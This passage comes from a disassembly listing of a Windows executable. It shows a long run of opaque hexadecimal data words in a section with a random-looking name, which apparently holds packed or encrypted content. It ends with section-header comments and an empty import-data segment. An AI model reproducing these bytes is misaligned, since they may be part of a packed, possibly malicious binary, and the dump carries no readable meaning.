0F09FE3FEh, 15EC0F09h, 0A4825C4Fh dd 5E4D1CC8h, 0BA5F6386h, 8BCFD75Dh, 0E5B4A367h, 118C85A5h dd 0EB652053h, 7F5E3620h, 0DBFF0367h, 253A83B7h, 8FE3568Ah dd 86A473D7h, 9BFFD38Ah, 5258F784h, 7B9FAAC8h, 0DBEF86DAh dd 0FE8C83E7h, 0A92C1386h, 0BEA8C774h, 8BEFC726h, 0B3F4367h dd 6B2757F8h, 88E02347h, 0BA005BFFh, 4E74FCD8h, 2B0FAA11h dd 3FD03182h, 0B2F7305h, 0A2CD766Ch, 0A1845337h, 5FD522D7h dd 2BEF3337h, 2877C98Ch, 0A8062035h, 0B66477F5h, 8BEFE37Ah dd 0B52CEECh, 3DFDD3B7h, 783B1FCCh, 0B7FDE72h, 7C7C0327h dd 2B4F93DAh, 0B3A56807h, 8273996h, 10484410h, 0AB36D5F2h dd 4A1A54C7h, 8BEF7363h, 2F7F83A7h, 0A8D7E435h, 0B766FF5h dd 0B201469Eh, 68B44327h, 9CBFD2DFh, 0BB2B12C2h, 4B6FF3D7h dd 2CFD7727h, 9FA7C2AFh, 0E2201CFBh, 782C7F7Ch, 97CDE8CFh dd 4FFC0526h, 0CE12FA98h, 0CBAF076Bh, 5202754h, 265D2238h dd 3B5EB100h, 0A43AC917h, 6E3F0353h, 135DBAF1h, 730D1711h dd 87874C87h, 8100FCF8h, 2843D93Ch, 3E28F34Dh, 0B6F47A6h dd 8BBFC3E7h, 9E0912FAh, 0D5122AD4h, 0C8EF736Eh, 1B6FEE22h dd 0C6689037h, 3B5F6387h, 7487B03Ch, 5B063DD2h, 39085AF7h dd 741F2347h, 0CE989391h, 0DBBF3716h, 0AB4F93B7h, 538DE473h dd 0F4D08AB0h, 353248BDh, 80F134Eh, 53D42AC4h, 40FF79DCh dd 1B46F522h, 0A3852A37h, 71D660F4h, 9BEDF21Fh, 1B6720E4h dd 52F5567Ch, 0C7772307h, 4A6FB3F3h, 0DAA60B65h, 0BEC5C3F4h dd 0BB9FD728h, 3F1EF660h, 9BBFC3A7h, 0ED7B4377h, 6BF22EC4h dd 0CB593317h, 6F4E0650h, 0ABCF1377h, 2F2A6385h, 0E5835E9h dd 1B7F7756h, 6B8BD3F7h, 4E952532h, 4B2F87E7h, 0EFCE86D0h dd 6B4F93F7h, 0B0AAE307h, 0C92D741Dh, 7969C14Dh, 6106B880h dd 0D15D91C0h, 3C0DE555h, 0D01B5194h, 0A9407715h, 6DE2E0DFh dd 8BAFB32Eh, 0E0B7C768h, 0DE702C08h, 0FB5F1A35h, 7EAB2628h dd 6E000367h, 2B0FAAD9h, 8EE376F8h, 86A273D7h, 9BFFFABDh dd 0D26DC6FAh, 29CEA387h, 7E10333Dh, 5B3FBAF1h, 9E7786C8h dd 8EA063C7h, 8BEFCA41h, 2E03D698h, 0DE02D3B7h, 0FB5F1B09h dd 723D0628h, 24A90367h, 6B7A2722h, 0ED7A6007h, 0B2F33AEh dd 9BBF2B24h, 81525377h, 327222C6h, 93EF7364h, 0DEBE8C57h dd 0AB8F06B7h, 0B89CA302h, 845F0CDFh, 0EBFC6A6h, 564CD3B7h dd 0FB352357h, 0CA09AFA2h, 0B7F3275Bh, 4B5CE6C6h, 442027EFh dd 0E32A0668h, 64403899h, 14F0819Fh, 84B1C238h, 0FFB94B7Ah dd 5B5A3BB5h, 43AF1337h, 0C4A09C22h, 0CF24CA62h, 0AEB27343h dd 6BCFEBB9h, 9D1773CCh, 49698956h, 0B3A92654h, 2BB093B7h dd 0BBB5278Ch, 9ED023C5h, 9BFFF61Fh, 6A0797F4h, 44A0FFF9h dd 48EC460Bh, 70978761h, 4330ECCCh, 0C4A09CF8h, 0FF173076h dd 0F03F4367h, 6BA06B46h, 0EBF72347h, 896FB3D7h, 0EB470307h dd 0C34F93B7h, 0BBDFE304h dd 862F5755h, 56B3E7B3h, 0EBF7D059h, 93FFBABBh, 0CBEF3357h dd 6B5BD72Ch, 2AD5986Ah, 7B6B706Ah, 6E961B17h, 0D95EBC98h dd 698CD3F3h, 0FA192640h, 0A7A70F38h, 0FA10F325h, 0EEEFFE7Bh dd 9FE5517Fh, 59E0E66Fh, 2F5610B9h, 87EB0D48h, 0E66F9FF8h dd 0F9DF2FDEh, 0ED7B6243h, 0E668FE0Eh, 45056EA6h, 6EE668FEh dd 16h, 419h dup(0) lsqvqpii ends ; Section 6. (virtual address 00045000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00045000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 445000h align 2000h _idata2 ends end start